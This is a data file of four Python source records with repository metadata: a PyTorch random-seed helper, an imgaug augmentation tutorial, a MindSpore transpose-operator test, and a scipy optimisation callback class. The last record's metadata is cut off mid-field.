{"text": "\"\"\"Setting seed for reproducibility\"\"\"\n\nimport os\nimport random\nimport torch\nimport numpy as np\n\n# Results can be software/hardware-dependent\n# Exactly reproduciable results are expected only on the same software and hardware\ndef set_seed(seed=1000):\n    \"\"\"Sets the seed for generating random numbers to get (as) reproducible (as possible) results.\n\n    The CuDNN options are set according to the official PyTorch guidance on reproducibility: https://pytorch.org/docs/stable/notes/randomness.html. \n    Another reference is https://discuss.pytorch.org/t/difference-between-torch-manual-seed-and-torch-cuda-manual-seed/13848/6\n\n    Args:\n        seed (int, optional): The desired seed. Defaults to 1000.\n    \"\"\"\n    # 1. Set `PYTHONHASHSEED` environment variable at a fixed value\n    os.environ['PYTHONHASHSEED']=str(seed)\n    # 2. Set `python` built-in pseudo-random generator at a fixed value\n    random.seed(seed)\n    # 3. Set `numpy` pseudo-random generator at a fixed value\n    np.random.seed(seed)\n    # 4. Set `pytorch` pseudo-random generator at a fixed value\n    torch.manual_seed(seed)\n    # if torch.cuda.is_available():\n    torch.backends.cudnn.deterministic = True\n    torch.backends.cudnn.benchmark = False\n", "meta": {"hexsha": "18b26844317ecc5c6fa5e0ecdc500d4cb135d869", "size": 1221, "ext": "py", "lang": "Python", "max_stars_repo_path": "kale/utils/seed.py", "max_stars_repo_name": "Sheffield-TALE/pykale", "max_stars_repo_head_hexsha": "a28bfc4c444c945bf6820e6b558dc5db0fcb4083", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "kale/utils/seed.py", "max_issues_repo_name": "Sheffield-TALE/pykale", "max_issues_repo_head_hexsha": "a28bfc4c444c945bf6820e6b558dc5db0fcb4083", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "kale/utils/seed.py", "max_forks_repo_name": "Sheffield-TALE/pykale", "max_forks_repo_head_hexsha": "a28bfc4c444c945bf6820e6b558dc5db0fcb4083", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.7, "max_line_length": 148, "alphanum_fraction": 0.7371007371, "include": true, "reason": "import numpy", "num_tokens": 304, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.43398146480389854, "lm_q2_score": 0.12940274334274965, "lm_q1q2_score": 0.05615839210552942}}
{"text": "# %%\n\"\"\"\n# Using imgaug with more Control Flow\n\nThe standard form of using `imgaug` is in a deferred way, i.e. you first \"build\" your augmentation sequence and then apply it many times to augment data. `imgaug` then handles the augmentation almost entirely on its own. This form of using the library is similar to e.g. tensorflow. In the case of `imgaug` it has a few advantages:\n* It allows the library to randomize the order in which augmenters are applied (as is e.g. the case when calling a `Sequential(..., random_order=True)` instance). This greatly increases the space of possible augmentations. Implementing such a random order oneself will likely end up with yet another architecture that lacks control flow.\n* It allows the library to easily randomize which augmenters are applied or not applied to an input, as is handled by e.g. `Sometimes(...)` or `SomeOf(...)`. This is easier to implement oneself than random order, but still leads to quite some repeated code between projects.\n* It pushes random state handling to the library, decreasing the probability of bugs when re-applying augmentations to different inputs.\n* It allows to have one entry point to run (tested) multicore augmentation. In the case of `imgaug` the method `Augmenter.pool()` is such an entry point. It starts a wrapper around `multiprocessing.Pool` that is optimized for augmentation (e.g. uses different random states between child processes to guarantee that each CPU core generates different augmentations).\n\nIt does however also have disadvantages, with the main one being that errors can be quite a bit harder to debug. If you don't need the above mentioned advantages, it is possible to execute `imgaug` in a non-deferred way, similar to e.g. pytorch. The implementation of this is very similar to the standard way in `imgaug`, except that you instantiate each augmenter on its own and later on also apply it on its own. The below code block shows an example:\n\"\"\"\n\n# %%\nimport numpy as np\nimport imgaug as ia\nfrom imgaug import augmenters as iaa\n%matplotlib inline\n\nia.seed(3)\n\nclass AugSequence:\n    def __init__(self):\n        # instantiate each augmenter and save it to its own variable\n        self.affine = iaa.Affine(rotate=(-20, 20), translate_px={\"x\": (-10, 10), \"y\": (-5, 5)})\n        self.multiply = iaa.Multiply((0.9, 1.1))\n        self.contrast = iaa.LinearContrast((0.8, 1.2))\n        self.gray = iaa.Grayscale((0.0, 1.0))\n    \n    def augment_images(self, x):\n        # apply each augmenter on its own, one by one\n        x = self.affine(images=x)\n        x = self.multiply(images=x)\n        x = self.contrast(images=x)\n        x = self.gray(images=x)\n        return x\n\naug = AugSequence()\n\nimage = ia.quokka_square(size=(256, 256))  # uint8 array of shape (256, 256, 3)\nimages_aug = aug.augment_images([image, image])\n\nprint(\"Before:\")\nia.imshow(np.hstack([image, image]))\nprint(\"After:\")\nia.imshow(np.hstack(images_aug))\n\n# %%\n\"\"\"\n## Single Function\n\"\"\"\n\n# %%\n\"\"\"\nIt is also possible to re-instantiate augmenters each time they are used for augmentation. In theory, this incurs a tiny performance penalty (as e.g. parameters have to be parsed each time). The below code block shows an example.\n\"\"\"\n\n# %%\nia.seed(3)\n    \ndef augment_images(x):\n    x = iaa.Affine(rotate=(-20, 20))(images=x)\n    x = iaa.Multiply((0.9, 1.1))(images=x)\n    x = iaa.LinearContrast((0.8, 1.2))(images=x)\n    x = iaa.Grayscale((0.0, 1.0))(images=x)\n    return x\n\nimages_aug = augment_images([image, image])\n\nprint(\"Before:\")\nia.imshow(np.hstack([image, image]))\nprint(\"After:\")\nia.imshow(np.hstack(images_aug))\n\n# %%\n\"\"\"\n## Some Time Measurements\n\"\"\"\n\n# %%\n\"\"\"\nHow long does it take to instantiate an augmenter? We can measure that, here with `Affine` and a large number of parameters as an example:\n\"\"\"\n\n# %%\n%timeit -n 10000 iaa.Affine(translate_px=(-10, 10), scale=(0.9, 1.1), rotate=(-20, 20), shear=(-20, 20), mode=ia.ALL)\n\n# %%\n\"\"\"\nAs you can see, the required time is tiny, below 0.1ms (measured on rather outdated hardware). An augmentation sequence with 10 augmenters would take less than 1ms to instantiate, which is by far less than the augmentation process.\n\nWe can also measure the required time of both methods from further above, the one using a custom class and the single-function method:\n\"\"\"\n\n# %%\n%timeit -n 2500 aug.augment_images([image, image])\n%timeit -n 2500 augment_images([image, image])\n\n# %%\n\"\"\"\nAs expected, the difference per call is negligible.\n\"\"\"\n\n# %%\n\"\"\"\n## Single Function, Different Input Types\n\nIf you want to use the above single-function method to augment images *and* other datatypes, e.g. bounding boxes, you will have to manage random states yourself. This is however not very hard. The following example adds a `seed` argument to align the augmentations between images and bounding boxes:\n\"\"\"\n\n# %%\ndef augment_images(x, seed):\n    x = iaa.Affine(translate_px=(-60, 60), random_state=seed)(images=x)\n    x = iaa.Multiply((0.9, 1.1), random_state=seed)(images=x)\n    x = iaa.LinearContrast((0.8, 1.2), random_state=seed)(images=x)\n    x = iaa.Grayscale((0.0, 1.0), random_state=seed)(images=x)\n    return x\n\n# new function\ndef augment_bounding_boxes(x, seed):\n    x = iaa.Affine(translate_px=(-60, 60), random_state=seed)(bounding_boxes=x)\n    x = iaa.Multiply((0.9, 1.1), random_state=seed)(bounding_boxes=x)\n    x = iaa.LinearContrast((0.8, 1.2), random_state=seed)(bounding_boxes=x)\n    x = iaa.Grayscale((0.0, 1.0), random_state=seed)(bounding_boxes=x)\n    return x\n\n# bounding boxes to augment\nbbsoi = ia.BoundingBoxesOnImage(\n    bounding_boxes=[ia.BoundingBox(x1=40, y1=20, x2=230, y2=250)],\n    shape=image.shape)\n\n# augment images and bounding boxes\nimages_aug = augment_images([image, image], seed=2)\nbbsois_aug = augment_bounding_boxes([bbsoi, bbsoi], seed=2)\n\nprint(\"Before:\")\nia.imshow(\n    np.hstack([\n        bbsoi.draw_on_image(image, size=3),\n        bbsoi.draw_on_image(image, size=3),\n    ])\n)\n\nprint(\"After:\")\nia.imshow(\n    np.hstack([\n        bbsois_aug[0].draw_on_image(images_aug[0], size=3),\n        bbsois_aug[1].draw_on_image(images_aug[1], size=3)\n    ])\n)", "meta": {"hexsha": "aab47bd2580250fe66660f92c859f0b1a8750085", "size": 6111, "ext": "py", "lang": "Python", "max_stars_repo_path": "scripts/C02 - Using imgaug with more Control Flow.py", "max_stars_repo_name": "sandyz1000/imgaug-notebook", "max_stars_repo_head_hexsha": "e975418f1424b4e87f0735b913a803f56a7ac914", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "scripts/C02 - Using imgaug with more Control Flow.py", "max_issues_repo_name": "sandyz1000/imgaug-notebook", "max_issues_repo_head_hexsha": "e975418f1424b4e87f0735b913a803f56a7ac914", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "scripts/C02 - Using imgaug with more Control Flow.py", "max_forks_repo_name": "sandyz1000/imgaug-notebook", "max_forks_repo_head_hexsha": "e975418f1424b4e87f0735b913a803f56a7ac914", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 40.74, "max_line_length": 453, "alphanum_fraction": 0.7092128948, "include": true, "reason": "import numpy", "num_tokens": 1627, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4455295350395727, "lm_q2_score": 0.12592275991478882, "lm_q1q2_score": 0.05610230867573561}}
{"text": "# Copyright 2021 Huawei Technologies Co., Ltd\r\n#\r\n# Licensed under the Apache License, Version 2.0 (the \"License\");\r\n# you may not use this file except in compliance with the License.\r\n# You may obtain a copy of the License at\r\n#\r\n# http://www.apache.org/licenses/LICENSE-2.0\r\n#\r\n# Unless required by applicable law or agreed to in writing, software\r\n# distributed under the License is distributed on an \"AS IS\" BASIS,\r\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\r\n# See the License for the specific language governing permissions and\r\n# limitations under the License.\r\n# ============================================================================\r\n\r\nimport pytest\r\nimport numpy as np\r\nfrom mindspore import Tensor\r\nfrom mindspore.ops import operations as P\r\nfrom mindspore.common.api import ms_function\r\nfrom mindspore.common.initializer import initializer\r\nfrom mindspore.common.parameter import Parameter\r\nimport mindspore.nn as nn\r\nimport mindspore.context as context\r\n\r\ncontext.set_context(device_target='CPU')\r\n\r\n\r\nclass Transpose(nn.Cell):\r\n    def __init__(self):\r\n        super(Transpose, self).__init__()\r\n        self.transpose = P.Transpose()\r\n\r\n        self.x_2D = Parameter(initializer(Tensor(np.arange(5 * 6).reshape(5, 6).astype(np.float32)), [5, 6]),\r\n                              name='x_2D')\r\n        self.perm_2D = (1, 0)\r\n\r\n        self.x_3D = Parameter(initializer(Tensor(np.arange(2 * 2 * 4).reshape(2, 2, 4).astype(np.float32)), [2, 2, 4]),\r\n                              name='x_3D')\r\n        self.perm_3D = (1, 0, 2)\r\n\r\n        self.x_4D = Parameter(\r\n            initializer(Tensor(np.arange(2 * 3 * 4 * 5).reshape(2,\r\n                                                                3, 4, 5).astype(np.float32)), [2, 3, 4, 5]),\r\n            name='x_4D')\r\n        self.perm_4D = (0, 1, 2, 3)\r\n\r\n        self.x_5D = Parameter(\r\n            initializer(Tensor(np.arange(1 * 2 * 3 * 4 * 5).reshape(1, 2, 3, 4, 5).astype(np.float32)),\r\n                        [1, 2, 3, 4, 5]), name='x_5D')\r\n        self.perm_5D = (1, 0, 3, 4, 2)\r\n\r\n    @ms_function\r\n    def construct(self):\r\n        return (self.transpose(self.x_2D, self.perm_2D), self.transpose(self.x_3D, self.perm_3D),\r\n                self.transpose(self.x_4D, self.perm_4D), self.transpose(self.x_5D, self.perm_5D))\r\n\r\n\r\n@pytest.mark.level0\r\n@pytest.mark.platform_x86_cpu\r\n@pytest.mark.env_onecard\r\ndef test_transpose():\r\n    transpose = Transpose()\r\n    output = transpose()\r\n\r\n    expect0 = np.array([[[0, 6, 12, 18, 24],\r\n                         [1, 7, 13, 19, 25],\r\n                         [2, 8, 14, 20, 26],\r\n                         [3, 9, 15, 21, 27],\r\n                         [4, 10, 16, 22, 28],\r\n                         [5, 11, 17, 23, 29]]]).astype(np.float32)\r\n    expect1 = np.array([[[[0, 1, 2, 3],\r\n                          [8, 9, 10, 11]],\r\n                         [[4, 5, 6, 7],\r\n                          [12, 13, 14, 15]]]]).astype(np.float32)\r\n    expect2 = np.array([[[[[0, 1, 2, 3, 4],\r\n                           [5, 6, 7, 8, 9],\r\n                           [10, 11, 12, 13, 14],\r\n                           [15, 16, 17, 18, 19]],\r\n                          [[20, 21, 22, 23, 24],\r\n                           [25, 26, 27, 28, 29],\r\n                           [30, 31, 32, 33, 34],\r\n                           [35, 36, 37, 38, 39]],\r\n                          [[40, 41, 42, 43, 44],\r\n                           [45, 46, 47, 48, 49],\r\n                           [50, 51, 52, 53, 54],\r\n                           [55, 56, 57, 58, 59]]],\r\n\r\n                         [[[60, 61, 62, 63, 64],\r\n                           [65, 66, 67, 68, 69],\r\n                           [70, 71, 72, 73, 74],\r\n                           [75, 76, 77, 78, 79]],\r\n                          [[80, 81, 82, 83, 84],\r\n                           [85, 86, 87, 88, 89],\r\n                           [90, 91, 92, 93, 94],\r\n                           [95, 96, 97, 98, 99]],\r\n                          [[100, 101, 102, 103, 104],\r\n                           [105, 106, 107, 108, 109],\r\n                           [110, 111, 112, 113, 114],\r\n                           [115, 116, 117, 118, 119]]]]]).astype(np.float32)\r\n    expect3 = np.array([[[[[[0, 20, 40],\r\n                            [1, 21, 41],\r\n                            [2, 22, 42],\r\n                            [3, 23, 43],\r\n                            [4, 24, 44]],\r\n                           [[5, 25, 45],\r\n                            [6, 26, 46],\r\n                            [7, 27, 47],\r\n                            [8, 28, 48],\r\n                            [9, 29, 49]],\r\n                           [[10, 30, 50],\r\n                            [11, 31, 51],\r\n                            [12, 32, 52],\r\n                            [13, 33, 53],\r\n                            [14, 34, 54]],\r\n                           [[15, 35, 55],\r\n                            [16, 36, 56],\r\n                            [17, 37, 57],\r\n                            [18, 38, 58],\r\n                            [19, 39, 59]]]],\r\n\r\n                         [[[[60, 80, 100],\r\n                            [61, 81, 101],\r\n                            [62, 82, 102],\r\n                            [63, 83, 103],\r\n                            [64, 84, 104]],\r\n                           [[65, 85, 105],\r\n                            [66, 86, 106],\r\n                            [67, 87, 107],\r\n                            [68, 88, 108],\r\n                            [69, 89, 109]],\r\n                           [[70, 90, 110],\r\n                            [71, 91, 111],\r\n                            [72, 92, 112],\r\n                            [73, 93, 113],\r\n                            [74, 94, 114]],\r\n                           [[75, 95, 115],\r\n                            [76, 96, 116],\r\n                            [77, 97, 117],\r\n                            [78, 98, 118],\r\n                            [79, 99, 119]]]]]]).astype(np.float32)\r\n    assert (output[0].asnumpy() == expect0).all()\r\n    assert (output[1].asnumpy() == expect1).all()\r\n    assert (output[2].asnumpy() == expect2).all()\r\n    assert (output[3].asnumpy() == expect3).all()\r\n\r\n\r\ntest_transpose()\r\n\r\n\r\nclass Transpose_int64(nn.Cell):\r\n    def __init__(self):\r\n        super(Transpose_int64, self).__init__()\r\n        self.transpose = P.Transpose()\r\n\r\n        self.x_2D = Parameter(initializer(Tensor(np.arange(5 * 6).reshape(5, 6).astype(np.int64)), [5, 6]),\r\n                              name='x_2D')\r\n        self.perm_2D = (1, 0)\r\n\r\n        self.x_3D = Parameter(initializer(Tensor(np.arange(2 * 2 * 4).reshape(2, 2, 4).astype(np.int64)), [2, 2, 4]),\r\n                              name='x_3D')\r\n        self.perm_3D = (1, 0, 2)\r\n\r\n        self.x_4D = Parameter(\r\n            initializer(Tensor(np.arange(2 * 3 * 4 * 5).reshape(2,\r\n                                                                3, 4, 5).astype(np.int64)), [2, 3, 4, 5]),\r\n            name='x_4D')\r\n        self.perm_4D = (0, 1, 2, 3)\r\n\r\n        self.x_5D = Parameter(\r\n            initializer(Tensor(np.arange(1 * 2 * 3 * 4 * 5).reshape(1, 2, 3, 4, 5).astype(np.int64)),\r\n                        [1, 2, 3, 4, 5]), name='x_5D')\r\n        self.perm_5D = (1, 0, 3, 4, 2)\r\n\r\n    @ms_function\r\n    def construct(self):\r\n        return (self.transpose(self.x_2D, self.perm_2D), self.transpose(self.x_3D, self.perm_3D),\r\n                self.transpose(self.x_4D, self.perm_4D), self.transpose(self.x_5D, self.perm_5D))\r\n\r\n\r\n@pytest.mark.level0\r\n@pytest.mark.platform_x86_cpu\r\n@pytest.mark.env_onecard\r\ndef test_transpose_int64():\r\n    transpose = Transpose_int64()\r\n    output = transpose()\r\n\r\n    expect0 = np.array([[[0, 6, 12, 18, 24],\r\n                         [1, 7, 13, 19, 25],\r\n                         [2, 8, 14, 20, 26],\r\n                         [3, 9, 15, 21, 27],\r\n                         [4, 10, 16, 22, 28],\r\n                         [5, 11, 17, 23, 29]]]).astype(np.int64)\r\n    expect1 = np.array([[[[0, 1, 2, 3],\r\n                          [8, 9, 10, 11]],\r\n                         [[4, 5, 6, 7],\r\n                          [12, 13, 14, 15]]]]).astype(np.int64)\r\n    expect2 = np.array([[[[[0, 1, 2, 3, 4],\r\n                           [5, 6, 7, 8, 9],\r\n                           [10, 11, 12, 13, 14],\r\n                           [15, 16, 17, 18, 19]],\r\n                          [[20, 21, 22, 23, 24],\r\n                           [25, 26, 27, 28, 29],\r\n                           [30, 31, 32, 33, 34],\r\n                           [35, 36, 37, 38, 39]],\r\n                          [[40, 41, 42, 43, 44],\r\n                           [45, 46, 47, 48, 49],\r\n                           [50, 51, 52, 53, 54],\r\n                           [55, 56, 57, 58, 59]]],\r\n\r\n                         [[[60, 61, 62, 63, 64],\r\n                           [65, 66, 67, 68, 69],\r\n                           [70, 71, 72, 73, 74],\r\n                           [75, 76, 77, 78, 79]],\r\n                          [[80, 81, 82, 83, 84],\r\n                           [85, 86, 87, 88, 89],\r\n                           [90, 91, 92, 93, 94],\r\n                           [95, 96, 97, 98, 99]],\r\n                          [[100, 101, 102, 103, 104],\r\n                           [105, 106, 107, 108, 109],\r\n                           [110, 111, 112, 113, 114],\r\n                           [115, 116, 117, 118, 119]]]]]).astype(np.int64)\r\n    expect3 = np.array([[[[[[0, 20, 40],\r\n                            [1, 21, 41],\r\n                            [2, 22, 42],\r\n                            [3, 23, 43],\r\n                            [4, 24, 44]],\r\n                           [[5, 25, 45],\r\n                            [6, 26, 46],\r\n                            [7, 27, 47],\r\n                            [8, 28, 48],\r\n                            [9, 29, 49]],\r\n                           [[10, 30, 50],\r\n                            [11, 31, 51],\r\n                            [12, 32, 52],\r\n                            [13, 33, 53],\r\n                            [14, 34, 54]],\r\n                           [[15, 35, 55],\r\n                            [16, 36, 56],\r\n                            [17, 37, 57],\r\n                            [18, 38, 58],\r\n                            [19, 39, 59]]]],\r\n\r\n                         [[[[60, 80, 100],\r\n                            [61, 81, 101],\r\n                            [62, 82, 102],\r\n                            [63, 83, 103],\r\n                            [64, 84, 104]],\r\n                           [[65, 85, 105],\r\n                            [66, 86, 106],\r\n                            [67, 87, 107],\r\n                            [68, 88, 108],\r\n                            [69, 89, 109]],\r\n                           [[70, 90, 110],\r\n                            [71, 91, 111],\r\n                            [72, 92, 112],\r\n                            [73, 93, 113],\r\n                            [74, 94, 114]],\r\n                           [[75, 95, 115],\r\n                            [76, 96, 116],\r\n                            [77, 97, 117],\r\n                            [78, 98, 118],\r\n                            [79, 99, 119]]]]]]).astype(np.int64)\r\n    assert (output[0].asnumpy() == expect0).all()\r\n    assert (output[1].asnumpy() == expect1).all()\r\n    assert (output[2].asnumpy() == expect2).all()\r\n    assert (output[3].asnumpy() == expect3).all()\r\n\r\n\r\ntest_transpose_int64()\r\n\r\n\r\nclass Transpose_uint8(nn.Cell):\r\n    def __init__(self):\r\n        super(Transpose_uint8, self).__init__()\r\n        self.transpose = P.Transpose()\r\n\r\n        self.x_2D = Parameter(initializer(Tensor(np.arange(5 * 6).reshape(5, 6).astype(np.uint8)), [5, 6]),\r\n                              name='x_2D')\r\n        self.perm_2D = (1, 0)\r\n\r\n        self.x_3D = Parameter(initializer(Tensor(np.arange(2 * 2 * 4).reshape(2, 2, 4).astype(np.uint8)), [2, 2, 4]),\r\n                              name='x_3D')\r\n        self.perm_3D = (1, 0, 2)\r\n\r\n        self.x_4D = Parameter(\r\n            initializer(Tensor(np.arange(2 * 3 * 4 * 5).reshape(2,\r\n                                                                3, 4, 5).astype(np.uint8)), [2, 3, 4, 5]),\r\n            name='x_4D')\r\n        self.perm_4D = (0, 1, 2, 3)\r\n\r\n        self.x_5D = Parameter(\r\n            initializer(Tensor(np.arange(1 * 2 * 3 * 4 * 5).reshape(1, 2, 3, 4, 5).astype(np.uint8)),\r\n                        [1, 2, 3, 4, 5]), name='x_5D')\r\n        self.perm_5D = (1, 0, 3, 4, 2)\r\n\r\n    @ms_function\r\n    def construct(self):\r\n        return (self.transpose(self.x_2D, self.perm_2D), self.transpose(self.x_3D, self.perm_3D),\r\n                self.transpose(self.x_4D, self.perm_4D), self.transpose(self.x_5D, self.perm_5D))\r\n\r\n\r\n@pytest.mark.level0\r\n@pytest.mark.platform_x86_cpu\r\n@pytest.mark.env_onecard\r\ndef test_transpose_uint8():\r\n    transpose = Transpose_uint8()\r\n    output = transpose()\r\n\r\n    expect0 = np.array([[[0, 6, 12, 18, 24],\r\n                         [1, 7, 13, 19, 25],\r\n                         [2, 8, 14, 20, 26],\r\n                         [3, 9, 15, 21, 27],\r\n                         [4, 10, 16, 22, 28],\r\n                         [5, 11, 17, 23, 29]]]).astype(np.uint8)\r\n    expect1 = np.array([[[[0, 1, 2, 3],\r\n                          [8, 9, 10, 11]],\r\n                         [[4, 5, 6, 7],\r\n                          [12, 13, 14, 15]]]]).astype(np.uint8)\r\n    expect2 = np.array([[[[[0, 1, 2, 3, 4],\r\n                           [5, 6, 7, 8, 9],\r\n                           [10, 11, 12, 13, 14],\r\n                           [15, 16, 17, 18, 19]],\r\n                          [[20, 21, 22, 23, 24],\r\n                           [25, 26, 27, 28, 29],\r\n                           [30, 31, 32, 33, 34],\r\n                           [35, 36, 37, 38, 39]],\r\n                          [[40, 41, 42, 43, 44],\r\n                           [45, 46, 47, 48, 49],\r\n                           [50, 51, 52, 53, 54],\r\n                           [55, 56, 57, 58, 59]]],\r\n\r\n                         [[[60, 61, 62, 63, 64],\r\n                           [65, 66, 67, 68, 69],\r\n                           [70, 71, 72, 73, 74],\r\n                           [75, 76, 77, 78, 79]],\r\n                          [[80, 81, 82, 83, 84],\r\n                           [85, 86, 87, 88, 89],\r\n                           [90, 91, 92, 93, 94],\r\n                           [95, 96, 97, 98, 99]],\r\n                          [[100, 101, 102, 103, 104],\r\n                           [105, 106, 107, 108, 109],\r\n                           [110, 111, 112, 113, 114],\r\n                           [115, 116, 117, 118, 119]]]]]).astype(np.uint8)\r\n    expect3 = np.array([[[[[[0, 20, 40],\r\n                            [1, 21, 41],\r\n                            [2, 22, 42],\r\n                            [3, 23, 43],\r\n                            [4, 24, 44]],\r\n                           [[5, 25, 45],\r\n                            [6, 26, 46],\r\n                            [7, 27, 47],\r\n                            [8, 28, 48],\r\n                            [9, 29, 49]],\r\n                           [[10, 30, 50],\r\n                            [11, 31, 51],\r\n                            [12, 32, 52],\r\n                            [13, 33, 53],\r\n                            [14, 34, 54]],\r\n                           [[15, 35, 55],\r\n                            [16, 36, 56],\r\n                            [17, 37, 57],\r\n                            [18, 38, 58],\r\n                            [19, 39, 59]]]],\r\n\r\n                         [[[[60, 80, 100],\r\n                            [61, 81, 101],\r\n                            [62, 82, 102],\r\n                            [63, 83, 103],\r\n                            [64, 84, 104]],\r\n                           [[65, 85, 105],\r\n                            [66, 86, 106],\r\n                            [67, 87, 107],\r\n                            [68, 88, 108],\r\n                            [69, 89, 109]],\r\n                           [[70, 90, 110],\r\n                            [71, 91, 111],\r\n                            [72, 92, 112],\r\n                            [73, 93, 113],\r\n                            [74, 94, 114]],\r\n                           [[75, 95, 115],\r\n                            [76, 96, 116],\r\n                            [77, 97, 117],\r\n                            [78, 98, 118],\r\n                            [79, 99, 119]]]]]]).astype(np.uint8)\r\n    assert (output[0].asnumpy() == expect0).all()\r\n    assert (output[1].asnumpy() == expect1).all()\r\n    assert (output[2].asnumpy() == expect2).all()\r\n    assert (output[3].asnumpy() == expect3).all()\r\n\r\n\r\ntest_transpose_uint8()\r\n", "meta": {"hexsha": "72ee56f4af22e3ff0e314f73e39c529d414487ac", "size": 16581, "ext": "py", "lang": "Python", "max_stars_repo_path": "tests/st/ops/cpu/test_transpose_op.py", "max_stars_repo_name": "GuoSuiming/mindspore", "max_stars_repo_head_hexsha": "48afc4cfa53d970c0b20eedfb46e039db2a133d5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 4, "max_stars_repo_stars_event_min_datetime": "2021-01-26T09:14:01.000Z", "max_stars_repo_stars_event_max_datetime": "2021-01-26T09:17:24.000Z", "max_issues_repo_path": "tests/st/ops/cpu/test_transpose_op.py", "max_issues_repo_name": "forwhat461/mindspore", "max_issues_repo_head_hexsha": "59a277756eb4faad9ac9afcc7fd526e8277d4994", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "tests/st/ops/cpu/test_transpose_op.py", "max_forks_repo_name": "forwhat461/mindspore", "max_forks_repo_head_hexsha": "59a277756eb4faad9ac9afcc7fd526e8277d4994", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 42.1908396947, "max_line_length": 120, "alphanum_fraction": 0.3308606236, "include": true, "reason": "import numpy", "num_tokens": 4799, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.476579651063676, "lm_q2_score": 0.11757214127540648, "lm_q1q2_score": 0.05603249006384244}}
{"text": "import numpy as np\nfrom typing import Callable, Iterable, Union\n\n\nclass Simulator:\n\n    \"\"\"\n    A callback function to display the current value of the arguments and the\n    value of the objective function at each iteration. Based on the class\n    developed in https://stackoverflow.com/a/59330005/4983192\n\n    Parameters\n    ----------\n    func: Callable\n        The objective function to be optimized.\n\n    Attributes\n    ----------\n    callback_count: int\n        Number of times the callback is called.\n    sol_eval: list\n        A list that contains all the intermediate solutions used in the problem.\n    func_eval: list\n        A list that contains all the evaluations of the objective function of the problem.\n    \"\"\"\n\n    def __init__(self, function: Callable):\n        self.func = function\n        self.callback_count = 0\n        self.sol_eval = []\n        self.func_eval = []\n\n    def simulate(self, x_k: Iterable[Union[int, float]], *args) -> Union[int, float]:\n\n        \"\"\"\n        Executes the actual simulation and returns the result, while updating\n        the attributes `sol_eval` and `func_eval`. This must be passed to the\n        optimizer without arguments or parentheses.\n\n        Inputs\n        ------\n        x_k: Iterable[Union[int, float]]\n            The actual value for the solution.\n\n        Returns\n        -------\n        (Union[int, float]) The objective function evaluated at x_k.\n        \"\"\"\n\n        result = self.func(x_k, *args)\n        self.sol_eval.append(x_k)\n        self.func_eval.append(result)\n        return result\n\n    def callback(self, x_k: Iterable[Union[int, float]], *_) -> None:\n        \"\"\"\n        Callback function that can be used by optimizers of scipy.optimize.\n        The third argument \"*_\" makes sure that it still works when the\n        optimizer calls the callback function with more than one argument. Pass\n        to optimizer without arguments or parentheses.\n\n        Inputs\n        ------\n        x_k: list\n            The actual value for the solution.\n        \"\"\"\n\n        # Locate the position in sol_eval that coincides with x_k. Once this\n        # position is found, break the loop to save the position.\n        for i, x in reversed(list(enumerate(self.sol_eval))):\n            if np.allclose(x, x_k):\n                break\n\n        sp_info = \"\"\n        # For each component in the actual solution, generate an string containing its\n        # value and finally the value of the objective function stored in func_eval\n        for comp in x_k:\n            sp_info += f\"{comp:10.5e}\\t\"\n        sp_info += f\"{self.func_eval[i]:10.5e}\"\n\n        # Set the title of the callback, with the smoothing parameter names and the\n        # objective function label\n        if not self.callback_count:\n            title_list = [f\"sp{j+1}\" for j, _ in enumerate(x_k)] + [\"Objective\"]\n            print(\"Starting the optimization algorithm\")\n            print(*title_list, sep=\"\\t\\t\")\n        # Print the actual solution and the actual objective function value\n        print(sp_info)\n        self.callback_count += 1\n        return None\n", "meta": {"hexsha": "a4ae2d484239b74ddf02d2389d87518fa56387d2", "size": 3096, "ext": "py", "lang": "Python", "max_stars_repo_path": "cpsplines/utils/simulator_optimize.py", "max_stars_repo_name": "ManuelNavarroGarcia/cpsplines", "max_stars_repo_head_hexsha": "544e8ccf7e438a192dea6c4a4e685d9346f57f9a", "max_stars_repo_licenses": ["MIT"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "cpsplines/utils/simulator_optimize.py", "max_issues_repo_name": "ManuelNavarroGarcia/cpsplines", "max_issues_repo_head_hexsha": "544e8ccf7e438a192dea6c4a4e685d9346f57f9a", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 1, "max_issues_repo_issues_event_min_datetime": "2022-02-12T17:33:08.000Z", "max_issues_repo_issues_event_max_datetime": "2022-02-12T17:33:08.000Z", "max_forks_repo_path": "cpsplines/utils/simulator_optimize.py", "max_forks_repo_name": "ManuelNavarroGarcia/cpsplines", "max_forks_repo_head_hexsha": "544e8ccf7e438a192dea6c4a4e685d9346f57f9a", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 34.021978022, "max_line_length": 90, "alphanum_fraction": 0.6227390181, "include": true, "reason": "import numpy", 